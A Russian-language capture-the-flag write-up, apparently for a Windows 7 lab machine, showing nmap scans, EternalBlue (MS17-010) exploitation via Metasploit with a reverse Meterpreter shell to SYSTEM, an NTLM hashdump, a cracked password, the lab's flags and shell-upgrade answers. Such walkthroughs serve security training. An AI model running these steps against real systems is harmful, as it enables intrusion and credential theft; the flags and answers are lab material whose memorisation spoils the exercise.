Обзор сервисов

В моем случае IP-адрес машины 10.10.6.185. Запустим nmap и посмотрим, какие сервисы есть на машине:

$ nmap -sV -sC -Pn -oN 10.10.6.185 10.10.6.185
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 12:33 EDT
Nmap scan report for 10.10.6.185
Host is up (0.071s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2023-06-18T16:33:00
|_Not valid after:  2023-12-18T16:33:00
| rdp-ntlm-info:
|   Target_Name: JON-PC
|   NetBIOS_Domain_Name: JON-PC
|   NetBIOS_Computer_Name: JON-PC
|   DNS_Domain_Name: Jon-PC
|   DNS_Computer_Name: Jon-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2023-06-19T16:35:23+00:00
|_ssl-date: 2023-06-19T16:35:28+00:00; +1s from scanner time.
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:d9:62:dc:86:73 (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-06-19T11:35:23-05:00
| smb2-time:
|   date: 2023-06-19T16:35:23
|_  start_date: 2023-06-19T16:32:58
|_clock-skew: mean: 1h00m00s, deviation: 2h14m09s, median: 0s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.60 seconds

Как видно, открыты стандартные Windows-порты. Количество сервисов с портом ниже 1000 равняется 3.

Проверим уязвимости Samba протокола (445 порт):

$ nmap -p445 --script smb-vuln-* 10.10.6.185
Starting Nmap 7.94 ( <https://nmap.org> ) at 2023-06-19 12:39 EDT
Nmap scan report for 10.10.6.185
Host is up (0.062s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
|       <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143>
|_      <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds

Машина уязвима к ms17-010 (EternalBlue).

Публичный эксплоит

Воспользуемся mfsconsole для эксплуатации. Пропишем параметры сканируемой машины 10.10.6.185 и наш IP-адрес в лабораторной VPN-сети 10.18.21.29:

$ msfconsole
msf6> use use ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> options
msf6> set LHOST 10.18.21.29
msf6> set RHOSTS 10.10.6.185
msf6> run
[*] Started reverse TCP handler on 10.18.21.29:4444
[*] 10.10.6.185:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.6.185:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.6.185:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.6.185:445 - The target is vulnerable.
[*] 10.10.6.185:445 - Connecting to target for exploitation.
[+] 10.10.6.185:445 - Connection established for exploitation.
[+] 10.10.6.185:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.6.185:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.6.185:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.6.185:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.6.185:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.6.185:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.6.185:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.6.185:445 - Sending all but last fragment of exploit packet
[*] 10.10.6.185:445 - Starting non-paged pool grooming
[+] 10.10.6.185:445 - Sending SMBv2 buffers
[+] 10.10.6.185:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.6.185:445 - Sending final SMBv2 buffers.
[*] 10.10.6.185:445 - Sending last fragment of exploit packet!
[*] 10.10.6.185:445 - Receiving response from exploit packet
[+] 10.10.6.185:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.6.185:445 - Sending egg to corrupted connection.
[*] 10.10.6.185:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.6.185
[*] Meterpreter session 1 opened (10.18.21.29:4444 -> 10.10.6.185:49185) at 2023-06-19 12:44:19 -0400
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.6.185:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Нам повезло, мы имеем самый высокий уровень доступа в системе:

meterpreter > shell
Process 1080 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Alt text

Пользовательские NTLM хеши

Дампнем NTLM хеши пользователей в системе:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Попробуем поискать их на crackstation.net:

Alt text

Нашлись креды Jon:alqfna22.

Флаги

Первый

В корне системного диска, flag{access_the_machine}:

Alt text

Второй

В директории C:\Windows\System32\config, flag{sam_database_elevated_access}:

Alt text

Третий

В директории C:\Users\Jon\Documents, flag{admin_documents_can_be_valuable}:

Alt text

Часть про апгрейд шелла

Лучше выполнить секцию с апгрейдом шелла самому, но ниже приведены ответы на эту часть задания:

  • post/multi/manage/shell_to_meterpreter
  • SESSION